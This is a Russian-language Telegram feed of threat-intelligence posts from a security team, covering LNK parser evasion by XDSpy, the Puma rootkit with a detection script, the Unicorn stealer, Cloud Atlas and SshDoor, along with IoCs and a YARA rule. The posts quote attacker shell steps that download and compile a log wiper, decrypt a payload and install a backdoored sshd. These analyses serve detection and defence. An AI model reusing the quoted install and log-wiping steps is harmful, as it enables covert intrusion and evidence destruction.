А вы знали, что злые люди не любят парсеры LNK-файлов? 👿
В марте мы писали об атаках XDSpy на российские организации. LNK-файлы, которые использовались в этой атаке, были модифицированы так, что при их обработке многие парсеры «падали». Например, это касается LECmd, LnkParse3 и ExifTool, который используется на VirusTotal (скриншот 1).
Разберемся, в чем кроется проблема и как ее исправить🔧
В общих чертах структура LNK-файла выглядит следующим образом:
1.
2. [Optional]
3. [Optional]
4. [Optional]
STRING_DATA — это массив структур
•
•
Структура
🫱 Именно в
Как оказалось, Windows «под капотом» ограничивает длину строк
• Парсеры «падают» из-за некорректных значений (считают смещение
• Windows ограничивается 260 символами, правильно попадая на следующую
• Ограничение в 260 символов точно подразумевается для
• Для
• Windows считает последний байт нулевым, даже если это не так, хотя из документации можно было предположить, что последний символ тоже учитывается.
🕵️♀️ В варианте LNK-файла от XDSpy атакующие «сломали» таким образом строку
Чтобы исправить это недоразумение, нужно проверять размер
#tip #win
@ptescalator
В марте мы писали об атаках XDSpy на российские организации. LNK-файлы, которые использовались в этой атаке, были модифицированы так, что при их обработке многие парсеры «падали». Например, это касается LECmd, LnkParse3 и ExifTool, который используется на VirusTotal (скриншот 1).
Разберемся, в чем кроется проблема и как ее исправить
В общих чертах структура LNK-файла выглядит следующим образом:
1.
SHELL_LINK_HEADER с интересующим нас значением LinkFlags. Оно задает присутствие тех или иных структур в LNK-файле и выглядит так:typedef struct
{
uint32 HasLinkTargetIDList : 1; // есть LINKTARGET_IDLIST
uint32 HasLinkInfo : 1; // есть LINKINFO
uint32 HasName : 1; // есть STRING_DATA
uint32 HasRelativePath : 1; // есть STRING_DATA
uint32 HasWorkingDir : 1; // есть STRING_DATA
uint32 HasArguments : 1; // есть STRING_DATA
uint32 HasIconLocation : 1; // есть STRING_DATA
uint32 IsUnicode : 1; // строки в UTF-16
// ... skipped
} LinkFlags;
2. [Optional]
LINKTARGET_IDLIST. 3. [Optional]
LINKINFO.4. [Optional]
STRING_DATA.STRING_DATA — это массив структур
StringData, каждая из которых имеет следующий формат:•
CountCharacters (количество символов в строке, поэтому для юникода количество байт будет CountCharacters × 2).•
String (строка, которая в соответствии с документацией MUST NOT be NULL-terminated).Структура
STRING_DATA содержит Denoscription (Name), RelativePath, WorkingDir, Arguments и IconLocation в том порядке, который указан в LinkFlags.🫱 Именно в
CountCharacters и кроется проблема для парсеров, которые на него полагаются. Чтобы их «уронить» добрые дяденьки устанавливают большое значение в CountCharacters, например 0xFFFF. String делают длиной до 260 символов, а следующую StringData располагают ровно через 260 символов (в UTF-16 это 520 байт).Как оказалось, Windows «под капотом» ограничивает длину строк
Denoscription, RelativePath и WorkingDir 260 символами. В итоге мы имеем следующее:• Парсеры «падают» из-за некорректных значений (считают смещение
0xFFFF и попадают на бессмысленные байты).• Windows ограничивается 260 символами, правильно попадая на следующую
StringData, и запускает LNK-файл без проблем.• Ограничение в 260 символов точно подразумевается для
Denoscription, что было неочевидно, RelativePath и WorkingDir.• Для
Arguments такого ограничения нет или порог сильно выше, что уже логично. При этом в свойствах LNK-файла при нажатии правой кнопкой будет отображаться только 260 первых символов команды.• Windows считает последний байт нулевым, даже если это не так, хотя из документации можно было предположить, что последний символ тоже учитывается.
🕵️♀️ В варианте LNK-файла от XDSpy атакующие «сломали» таким образом строку
WorkingDir и установили ее значение в C:\Windows\System32\<пробелы> с длиной 260 символов (скриншот 2). Здесь можно посмотреть, как выглядит такой файл на VT (скриншот 3).---- WorkingDir ----
0x0 CountCharacters (0XFFFF)
0x2 String (до 0x208) // C:\Windows\System32_______
---- Arguments ----
0x20A CountCharacters // Парсер Windows идет сюда
0x20C String // Arguments
...
0xFFFF RandomData // Обычные парсеры идут сюда
Чтобы исправить это недоразумение, нужно проверять размер
CountCharacters для релевантных строк и ограничивать смещение до следующей StringData 260 символами с учетом флага isUnicode.#tip #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥20👍15❤5👏5😁2😢1
Каких инсайдеров вы ловили на практике? 🐀
Anonymous Poll
9%
Админа, восстанавливающего пароли мимикатцем 💻
9%
Админа, открывшего себе все доступы 😱
18%
Админа, устанавливающего ломаное ПО 🏴☠️
4%
Админа, прокинувшего виртуалку через NAT 😡
7%
Админа, качающего торренты 🍿
6%
Админа с учеткой домен админа 😇
3%
Админа, управляющего инфраструктурой через ратник 🐀
5%
Уборщицу бабушку Катю, которая вставила флешку в сервачок в стойке 👵
8%
Увольняемого разработчика, качающего дамп БД 👨💻
30%
Я и сам своего рода админ 😷
😁21👍5👏4
Сегодня в нашем обзоре технически интересный и многофункциональный руткит для Linux — Puma, недавно исследованный коллегами из Elastic Security Labs и Solar 4RAYS.
Puma представляет собой комплексный руткит уровня ядра (LKM), нацеленный на длительное скрытное пребывание в системе и кражу учетных данных для перемещения в инфраструктуре жертвы. Закрепляется в системе путем подмены штатного cron на модифицированный вредоносный аналог, состоящий из нескольких компонентов:
1️⃣ Загрузчик (
wpn.bin) — отвечает за корректную установку модуля ядра.2️⃣ Легитимный cron (
tgt.bin) — обеспечивает исправную работу cron, чтобы жертва не заметила подмены.3️⃣ LKM-модуль (
audit) — основной компонент для перехвата системных вызовов и функций ядра Linux. Благодаря ему модуль эффективно скрывает процессы, файлы, директории и сетевые соединения, а также перехватывает чувствительную информацию, такую как учетные данные и криптографические ключи.4️⃣ Бэкдор (
libs.so) — обеспечивает связь с C2-сервером, получение команд от злоумышленников и передачу результатов.🎯 Любопытная деталь
Помимо стандартного удаленного управления через C2-сервер в Puma используется и локальное, реализованное через переопределенный системный вызов rmdir: при наличии определенных аргументов руткит интерпретирует вызов как команду и возвращает инициировавшему процессу результат выполнения. Так, бэкдор использует этот механизм, чтобы запросить у модуля конфигурацию удаленного сервера или отобразить перехваченные конфиденциальные данные.
🔎 Что нам удалось обнаружить
Анализируя Puma, мы выявили в LKM-модуле важную уязвимость: он не проверяет, какой именно процесс вызывает переопределенный rmdir для выполнения команд. Таким образом, вызвав rmdir с определенными аргументами, можно однозначно определить присутствие руткита в системе.
📌 Почему это важно
Уязвимость трудноустранима: злоумышленники, используя возможности бэкдора, могут обновлять лишь его код, но не код загруженного в систему модуля ядра. Для этого потребуется значительно больше усилий. Таким образом, уязвимость можно использовать для быстрого детекта Puma в инфраструктуре.
🐍 Для удобства мы написали небольшой Python-скрипт, который поможет вам определить руткит в системе:
import ctypes
import subprocess
import os
SYS_rmdir = 84
buffer_size = 16
path_buf = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf, b"zarya.u\0", 7)
libc = ctypes.CDLL("libc.so.6", use_errno=True)
ret = libc.syscall(SYS_rmdir, path_buf)
try:
proc = subprocess.Popen(
"lsmod | grep audit",
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
universal_newlines=True
)
output, _ = proc.communicate()
if output.strip():
path_buf2 = ctypes.create_string_buffer(buffer_size)
ctypes.memmove(path_buf2, b"zarya.t.0\0", 9)
ret2 = libc.syscall(SYS_rmdir, path_buf2)
if ret2 == 0:
print(f"Pumakit detected on this machine, module info:\n{output.strip()}")
else:
print("Pumakit wasn't detected at this machine")
else:
print("Pumakit wasn't detected at this machine")
except Exception as e:
print("Error:", e)
Не самый типичный случай — когда уязвимость играет не против защитника, а ему на руку. Такое бывает нечасто, но именно это дает возможность для точного детекта.
⚠️ Если вы обнаружили Puma, то в инфраструктуре почти наверняка есть и другое ВПО. Обязательно обратитесь за помощью к специалистам по реагированию на инциденты информационной безопасности.
#TI #detect #malware #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥36❤13👍12🏆1
🛰 Когда говорят о космосе, первым приходит на ум...
Anonymous Poll
7%
In space no one can hear you scream 😱
41%
Поехали 🚀
7%
No space left on device 📱
8%
Мечтал стать космонавтом, а работаю в опен-спейсе 👨💻
3%
Я верю, друзья, караваны ракет помчат нас вперед от звезды до звезды… 🎶
3%
Я — «Луноход-1» 🌚
21%
Хьюстон, у нас проблема 🚨
7%
Стас 💓
2%
Press space bar 👇
3%
🕹️👾 👾
😁10🔥6👾5👏3
Большой браузер следит за тобой 👹
Группа киберразведки зафиксировала новую кампанию с использованием обновленного стилера Unicorn, начавшуюся в середине февраля и продолжающуюся по сей день. Целью атак является государственный сектор, а за их проведением стоит ранее не идентифицированная хакерская группировка.
Злоумышленники рассылают фишинговые письма с тематикой СВО, содержащие вложенные архивы с вредоносным HTA-файлом (скриншот 1). Этот файл содержит обфусцированный код и имеет название, совпадающее с темой письма. При его открытии запускается документ-приманка (скриншот 2), а вместе с ним — вредоносный код (посредством события
ВПО пытается мимикрировать под Яндекс Браузер. Вредоносный скрипт создает VBA-файлы по пути
🔤 Изначально злоумышленники использовали три скрипта:
•
•
•
👾 В последних атаках группировка модифицировала и расширила функциональность ВПО:
• В
• С помощью
• Добавлен механизм самозащиты:
⚠️ Важно отметить, что VBA-скрипты не детектируются антивирусными решениями, так как считывают значения из реестра и запускают вредоносный код напрямую. Это усложняет процесс обнаружения (скриншот 5).
Анализ атаки указывает на развитие методики злоумышленников. Кроме того, стоит отметить, что группировка проявляет интерес к расширениям, связанным с картографией. Это может свидетельствовать о специфической цели или о стратегическом интересе в указанной области.
IoCs
#TI #APT #Malware #Phishing
@ptescalator
Группа киберразведки зафиксировала новую кампанию с использованием обновленного стилера Unicorn, начавшуюся в середине февраля и продолжающуюся по сей день. Целью атак является государственный сектор, а за их проведением стоит ранее не идентифицированная хакерская группировка.
Злоумышленники рассылают фишинговые письма с тематикой СВО, содержащие вложенные архивы с вредоносным HTA-файлом (скриншот 1). Этот файл содержит обфусцированный код и имеет название, совпадающее с темой письма. При его открытии запускается документ-приманка (скриншот 2), а вместе с ним — вредоносный код (посредством события
window_OnLoad). ВПО пытается мимикрировать под Яндекс Браузер. Вредоносный скрипт создает VBA-файлы по пути
%USERPROFILE%\AppData\Local\YandexUpdate, добавляет полезную нагрузку в реестр HKCU\Software\YandexUpdate (скриншоты 3, 4), прописывает VBA-файлы в автозагрузку через реестр HKCU\Software\Microsoft\Windows\CurrentVersion\Run, а также регистрирует задания в планировщике с помощью schtasks. •
log01.vbs — выполняет обход директорий пользователей, анализирует содержимое определенных папок и сохраняет файлы с заданными расширениями (.pdf, .txt, .doc, .docx, .rtf, .odt, .xls, .xlsx, .ods, .csv, .jpg, .png, .zip, .rar). •
log02.vbs — похищает учетные данные из Telegram и браузеров (из Chrome, Edge, Opera, Яндекс Браузера). •
log03.vbs — передает собранные данные на командный сервер. 👾 В последних атаках группировка модифицировала и расширила функциональность ВПО:
• В
crash_report.vbs (ранее — log01.vbs) увеличен список расширений файлов для сбора (.vsdx, .vdx, .7z, .tar, .jpeg, .cdr, .kmz, .kml, .aqe). Важно, что были добавлены расширения .kml и .kmz, используемые в военной топографии.• С помощью
service_report.vba злоумышленники пытались получить список всех флеш-накопителей, но скрипт оказался нерабочим. • Добавлен механизм самозащиты:
update_logging.vbs восстанавливает удаленные вредоносные файлы, подгружая их содержимое из реестра. Анализ атаки указывает на развитие методики злоумышленников. Кроме того, стоит отметить, что группировка проявляет интерес к расширениям, связанным с картографией. Это может свидетельствовать о специфической цели или о стратегическом интересе в указанной области.
IoCs
Домен
vm-tiktok.org
Хеш-суммы
096c340e9a20476a191721e6eaeedcc2
0debff602f2912127c562839c7fcd3d7
e25042fba726356d7e88efe0608a4e36
290a4cff70029ca2a0095a3e3a8b19e7
65ef77db51277a046f76f21a59dee9e0
80bc350629a1ba59b2a19b9029feece5
d0f9fadbf157a8236b88cfc03f17a811
4feaa6c50348641799a8f56e76cd52e7
#TI #APT #Malware #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥26👍14❤7🤔5💩3👏1
Реально тонкое взаимодействие 🕊
В ходе реверс-инжиниринга протокола одного из бразильских банковских троянов обнаружилось использование интересного сетевого фреймворка — RealThinClient. Процесс общения между клиентом и сервером в этом фреймворке построен на сериализации структур вызова функции в строковый формат и их последующей десериализации на другой стороне. Это делает RTC не только мощным инструментом разработки, но и удобной платформой для скрытого обмена командами — например, в случае малварного поведения.
Сначала клиент и сервер проходят через кастомное рукопожатие, в ходе которого устанавливаются ключи шифрования и дешифрования для обеих сторон. После этого фреймворк предоставляет возможность выполнять функции на стороне как клиента, так и сервера.
Перейдем сразу к примеру и на нем разберемся в логике работы инструмента. Клиент хочет залогиниться на сервере и отправляет запрос, как на скриншоте.
Что здесь происходит
1. Клиент формирует запрос:
• Устанавливает параметр
• Добавляет параметры: логин, пароль и id. Они передаются в виде структуры-словаря
• На стороне Delphi это будет примерно так:
А при сериализации все это превратится в следующее:
📁 Когда мы вызываем удаленную функцию через RTC SDK, мы создаем объект
• Перед отправкой запроса клиент регистрирует хендлер OnLoginResult для обработки результата выполнения функции на сервере.
2. Запрос отправляется на сервер RTC:
• Сервер принимает HTTP-запрос и интерпретирует параметр
• На стороне сервера вызывается обработчик для функции
3. Сервер отвечает:
• Результат функции возвращается клиенту, и он вызывает свой хендлер
• Ответ сервера десериализуется обратно в
Например:
👾 Это может успешно использоваться в малвари: сервер возвращает зашифрованное описание команды, которую клиент должен выполнить. Таким образом, в легитимный RTC-поток можно прятать вполне себе вредоносное поведение.
#reverse #hacktool
@ptescalator
В ходе реверс-инжиниринга протокола одного из бразильских банковских троянов обнаружилось использование интересного сетевого фреймворка — RealThinClient. Процесс общения между клиентом и сервером в этом фреймворке построен на сериализации структур вызова функции в строковый формат и их последующей десериализации на другой стороне. Это делает RTC не только мощным инструментом разработки, но и удобной платформой для скрытого обмена командами — например, в случае малварного поведения.
Сначала клиент и сервер проходят через кастомное рукопожатие, в ходе которого устанавливаются ключи шифрования и дешифрования для обеих сторон. После этого фреймворк предоставляет возможность выполнять функции на стороне как клиента, так и сервера.
Перейдем сразу к примеру и на нем разберемся в логике работы инструмента. Клиент хочет залогиниться на сервере и отправляет запрос, как на скриншоте.
Что здесь происходит
1. Клиент формирует запрос:
• Устанавливает параметр
FC (function call) в значение Login.• Добавляет параметры: логин, пароль и id. Они передаются в виде структуры-словаря
RE=3 (record), содержащей ключи user, pwd, id и т. п. В user можно передать зашифрованный малварный запрос. RE обозначает тип rtc_Record — это структура вида «ключ:значение», аналогичная словарю или JSON-объекту.• На стороне Delphi это будет примерно так:
with FunctionCall.Param do
begin
asText['user'] := '...'; // rtc_Text
asText['pwd'] := ''; // rtc_Text
asString['id'] := '8DF313279CD34B81A3FB438708B4E8F1'; // rtc_String
end;
А при сериализации все это превратится в следующее:
RE=3;
user:T=...;
pwd:T=...;
id:S=...
📁 Когда мы вызываем удаленную функцию через RTC SDK, мы создаем объект
TRtcFunctionInfo — это класс, который описывает удаленную вызываемую функцию, ее имя, параметры и результат выполнения. Он используется как на клиенте (для упаковки вызова), так и на сервере (для распаковки и выполнения). Объект TRtcFunctionInfo упаковывается в контейнер TRtcValue и сериализуется в строку или поток байтов. TRtcValue может хранить любой поддерживаемый тип данных: строку, число, массив, запись, дату, вложенную функцию и т. п. Фактически он используется везде, где нужно передать или получить данные по сети, например в параметрах удаленной функции (Param.asValue[...]) или результатах выполнения функций (Result.asValue). Это делает его гибким, но и потенциально непрозрачным, что хорошо для скрытой передачи команд, особенно если используются вложенные структуры типа rtc_Function.• Перед отправкой запроса клиент регистрирует хендлер OnLoginResult для обработки результата выполнения функции на сервере.
2. Запрос отправляется на сервер RTC:
• Сервер принимает HTTP-запрос и интерпретирует параметр
FC как указание на то, какую функцию нужно вызвать.• На стороне сервера вызывается обработчик для функции
Login. Выполняется Delphi-процедура, связанная с этим именем.3. Сервер отвечает:
• Результат функции возвращается клиенту, и он вызывает свой хендлер
OnLoginResult для обработки полученного ответа.• Ответ сервера десериализуется обратно в
TRtcValue, чтобы мы смогли снова получить доступ к его структуре. Сервер может вернуть не просто данные, а вложенный вызов функции. Это структура, поле в которой содержит rtc_Function, rtc_Record или rtc_Array, которые клиент десериализует и выполняет. Например:
if xData.isType = rtc_Record then
ExecuteRec(xData.asRecord)
else if xData.isType = rtc_Array then
ExecuteArr(xData.asArray)
👾 Это может успешно использоваться в малвари: сервер возвращает зашифрованное описание команды, которую клиент должен выполнить. Таким образом, в легитимный RTC-поток можно прятать вполне себе вредоносное поведение.
#reverse #hacktool
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15🤯12❤7👍2
APT-группировка Cloud Atlas атакует предприятия ОПК России 🌎
В конце прошлого — начале текущего года группа киберразведки обнаружила миграцию управляющей инфраструктуры и эволюцию вредоносных документов в арсенале Cloud Atlas, ознаменовавшие начало новой кампании группировки в отношении предприятий оборонно-промышленного комплекса России.
Наблюдение за выявленной вредоносной инфраструктурой позволило в режиме реального времени отслеживать весь размах новой киберактивности группировки Cloud Atlas, в том числе вскрыть BEC-атаки с использованием электронной почты ранее зараженных предприятий ОПК России для отправки вредоносных документов Microsoft Office в адрес контрагентов.
📫 Вектором проникновения традиционно выступала фишинговая рассылка электронных писем с вредоносными документами Microsoft Office во вложении. Информация об управляющей инфраструктуре и вредоносные VB-скрипты были скрыты в альтернативном потоке данных (1Table) документов. Открытие файлов приводило к выполнению этих скриптов, которые взаимодействовали с API Google Sheets для передачи информации о зараженной системе и загрузки бэкдора PowerShower с последующей эксфильтрацией украденных данных в облачные хранилища (более подробно — в нашем прошлом исследовании).
🤷♂️ Обнаруженные документы — по большей части характерные для государственного сектора шаблоны — отсутствуют в открытом доступе и, вероятнее всего, были украдены из сетей ранее атакованных предприятий. Во избежание раскрытия предприятий, в сетях которых присутствует группировка, из зараженных документов накануне использования в новых атаках удалялись метаданные, о чем свидетельствуют временные метки их модификации.
Активность АРТ-группировки Cloud Atlas отслеживается с 2014 года. Традиционной географией атак являются страны СНГ. В 2024 году вектор кибератак существенно сместился в сторону России, их высокая интенсивность, частота миграции атакующей инфраструктуры и эволюции вредоносных документов сохраняются до настоящего времени.
Прогнозируется сохранение высокого уровня опасности киберугроз для российских учреждений и организаций, исходящих от APT-группировки Cloud Atlas.
🧐 Подробнее читайте на нашем сайте.
#TI #APT #Malware
@ptescalator
В конце прошлого — начале текущего года группа киберразведки обнаружила миграцию управляющей инфраструктуры и эволюцию вредоносных документов в арсенале Cloud Atlas, ознаменовавшие начало новой кампании группировки в отношении предприятий оборонно-промышленного комплекса России.
Наблюдение за выявленной вредоносной инфраструктурой позволило в режиме реального времени отслеживать весь размах новой киберактивности группировки Cloud Atlas, в том числе вскрыть BEC-атаки с использованием электронной почты ранее зараженных предприятий ОПК России для отправки вредоносных документов Microsoft Office в адрес контрагентов.
📫 Вектором проникновения традиционно выступала фишинговая рассылка электронных писем с вредоносными документами Microsoft Office во вложении. Информация об управляющей инфраструктуре и вредоносные VB-скрипты были скрыты в альтернативном потоке данных (1Table) документов. Открытие файлов приводило к выполнению этих скриптов, которые взаимодействовали с API Google Sheets для передачи информации о зараженной системе и загрузки бэкдора PowerShower с последующей эксфильтрацией украденных данных в облачные хранилища (более подробно — в нашем прошлом исследовании).
По содержанию вредоносные вложения представляли собой приглашения на курсы повышения квалификации, документы об антикоррупционных проверках и мобилизационных мероприятиях, акты сверки взаимных расчетов, справки в отношении сотрудников, резюме соискателей на должность оператора ЧПУ.
Активность АРТ-группировки Cloud Atlas отслеживается с 2014 года. Традиционной географией атак являются страны СНГ. В 2024 году вектор кибератак существенно сместился в сторону России, их высокая интенсивность, частота миграции атакующей инфраструктуры и эволюции вредоносных документов сохраняются до настоящего времени.
Прогнозируется сохранение высокого уровня опасности киберугроз для российских учреждений и организаций, исходящих от APT-группировки Cloud Atlas.
#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥28🤮19❤14👎14💩14👍13🤬12🗿3🤡1
По какому фрагменту кода можно определить семейство вредоносного ПО? 🤨
Атрибуция — одна из задач, с которыми сталкиваются аналитики во время исследования атак. Пройдите небольшой тест на онлайн-марафоне Standoff Defend (второй шаг) и проверьте свои силы в атрибуции.
А на самом полигоне Standoff Defend любой желающий уже сейчас может протестировать главную новинку — регулируемые атаки, в рамках которых достоверно воспроизводятся тактики и техники крупнейших APT-группировок (четвертый шаг).
#APT #StandoffDefend
@ptescalator
Атрибуция — одна из задач, с которыми сталкиваются аналитики во время исследования атак. Пройдите небольшой тест на онлайн-марафоне Standoff Defend (второй шаг) и проверьте свои силы в атрибуции.
А на самом полигоне Standoff Defend любой желающий уже сейчас может протестировать главную новинку — регулируемые атаки, в рамках которых достоверно воспроизводятся тактики и техники крупнейших APT-группировок (четвертый шаг).
#APT #StandoffDefend
@ptescalator
❤18🔥16👍10🤡1
Team46 и TaxOff: две стороны одной медали 😑
В марте 2025 года специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) исследовали атаку, в которой использовалась зарегистрированная примерно в это же время уязвимость нулевого дня CVE-2025-2783 в браузере Chrome. Использование этой уязвимости и саму атаку описали исследователи из «Лаборатории Касперского», однако последующая цепочка заражения осталась без атрибуции.
🪞 В отчете описана атрибуция данной атаки к группировке TaxOff, о которой мы писали ранее. Кроме того, приводятся данные, которые позволяют считать еще одну найденную нами ранее группировку Team46 и TaxOff одной и той же группой.
Начальным вектором атаки было фишинговое письмо, содержащее ссылку, при переходе по которой жертва активировала one-click exploit, приводящий к установке бэкдора Trinper группировки TaxOff в скомпрометированной системе. В этой атаке был обнаружен бэкдор группировки Team46.
Группировка Team46 была ранее замечена в атаках, использующих DLL-Hijacking для Яндекс Браузера (CVE-2024-6473).
📖 Подробнее читайте на нашем сайте.
#TI #APT #cve
@ptescalator
В марте 2025 года специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) исследовали атаку, в которой использовалась зарегистрированная примерно в это же время уязвимость нулевого дня CVE-2025-2783 в браузере Chrome. Использование этой уязвимости и саму атаку описали исследователи из «Лаборатории Касперского», однако последующая цепочка заражения осталась без атрибуции.
Начальным вектором атаки было фишинговое письмо, содержащее ссылку, при переходе по которой жертва активировала one-click exploit, приводящий к установке бэкдора Trinper группировки TaxOff в скомпрометированной системе. В этой атаке был обнаружен бэкдор группировки Team46.
Группировка Team46 была ранее замечена в атаках, использующих DLL-Hijacking для Яндекс Браузера (CVE-2024-6473).
#TI #APT #cve
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19👍11❤7👏2🤡2🤓1😨1
Ваш любимый эмодзи под нашими постами 🥺
Anonymous Quiz
27%
🔥
7%
👍
3%
❤️
16%
🗿
2%
🤮
8%
💩
1%
🤬
29%
🤡
2%
😂
5%
🤯
🤡51🗿24🔥10❤4💩4🤯3🖕3✍1😁1🤓1🫡1
А почему вы поставили негативную реакцию под постом про Cloud Atlas? 🤨
Anonymous Poll
4%
Я из ОПК и меня наказали 🫤
27%
Я из Cloud Atlas, и теперь мне придется менять TTP 🤬
6%
Я из другой компании, и вы опередили нас с выпуском статьи 😠
40%
Не читал, но осуждаю 😤
23%
Не люблю атласы 🙅♂️
😁25🤡24💅8🌚2🗿1
(Ex)Cobalt == (Ex)Carbanak 🤔
С начала 2025 года команда PT ESC отмечает рост числа атак с применением бэкдора
Получив доступ к узлам жертв, атакующие запускают sh-скрипт
Команда для расшифровки файла:
Затем на скомпрометированном узле компилируется патченный
Патченный
В целом функциональность обнаруженного нами
В материале
Также в арсенал атакующей группы входит утилита
Примечательно, что команда
Файлы конфигурации:
C2:
MD5:
YARA:
Happy hunting!
#hunt #ti #ioc #yara #dfir #detect #unix #apt
@ptescalator
С начала 2025 года команда PT ESC отмечает рост числа атак с применением бэкдора
SshDoor. В центре внимания подобных атак часто оказываются российские государственные учреждения.Получив доступ к узлам жертв, атакующие запускают sh-скрипт
Release.gz (скриншот 1), который помимо прочего скачивает зашифрованный OpenSSL файл main.jpg (скриншот 2).file ./main.jpg
./main.jpg: openssl enc'd data with salted password
Команда для расшифровки файла:
openssl aes-256-cbc -md sha256 -d -in $ARCHIVE_NAME -out tmp.tar.gz -k $ZIP_PASS
Затем на скомпрометированном узле компилируется патченный
sshd и перезапускается сервис sshd....
make -j4>> /dev/null &&
strip ssh sshd &&
make install
...
service sshd restart
Патченный
sshd (скриншот 3) имеет ряд сходств с бэкдором SshDoor, который описывали в материалах Linux/SSHDoor.A Backdoored SSH daemon that steals passwords (2013 года) и Inside the Response of a Unique CARBANAK Intrusion (2017 года).В целом функциональность обнаруженного нами
SshDoor значительных изменений не претерпела. Бэкдор позволяет злоумышленнику получить скрытый доступ на скомпрометированный сервер по протоколу SSH c ключом или паролем, заданным в конфигурационном файле либо в коде самого бэкдора. Также бэкдор собирает и отправляет на удаленный сервер аутентификационные данные пользователей.В материале
Inside the Response of a Unique CARBANAK Intrusion данный образец исследователи связывали с APT-группой Carbanak, которая успешно атаковала банковские организации в 2015 году.Также в арсенал атакующей группы входит утилита
A D V A N C E D L O G W I P E R (ALW) (скриншот 4), которая компилируется на узле жертвы и удаляет из ряда журналов /var/log/* (скриншот 5) все записи, которые содержат IP-адрес атакующих ($YOUR_IP).#------------------------Clean logs-------------------------------------
if which gcc >/dev/null 2>&1 ; then
$DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
else
PACKET_MANAGER=$PACKET_MANAGER" gcc";
$PACKET_MANAGER && $DOWNLOADER $LOG_CLEANER; gcc log.c -o log; ./log -h $YOUR_IP;rm -f log log.c;
fi
Примечательно, что команда
RSA Global Incident Response в своем материале относит ALW также к деятельности группы Carbanak.Файлы конфигурации:
/var/run/.options
/dev/shm/.options
C2:
cdn2-os.pythonupdate.com
centos.pythonupdate.com
pkg.pkg-pfsense.org
MD5:
016bd8119efd5fae482131464ff1dfde
eec5d0c3fc2b1b1074c3648e26d1fe08
0689b1e75241f93b43cd2af0c2f10217
YARA:
rule SshDoor {
strings:
$spy1 = "SPY_PATH"
$spy2 = "SPY_PORT"
$spy3 = "SPY_HOST"
$spy4 = "spy_passwd"
$spy5 = "spy_master"
$spy6 = "spy_bc_addr"
$spy7 = "spy_buff"
$spy8 = "spy_addr"
$spy9 = "spy_buff_port"
$sshd = "usage: sshd"
condition:
uint32be(0) == 0x7f454c46 and $sshd and (any of ($spy*))
}
Happy hunting!
#hunt #ti #ioc #yara #dfir #detect #unix #apt
@ptescalator
🔥26❤8👍8⚡6👻1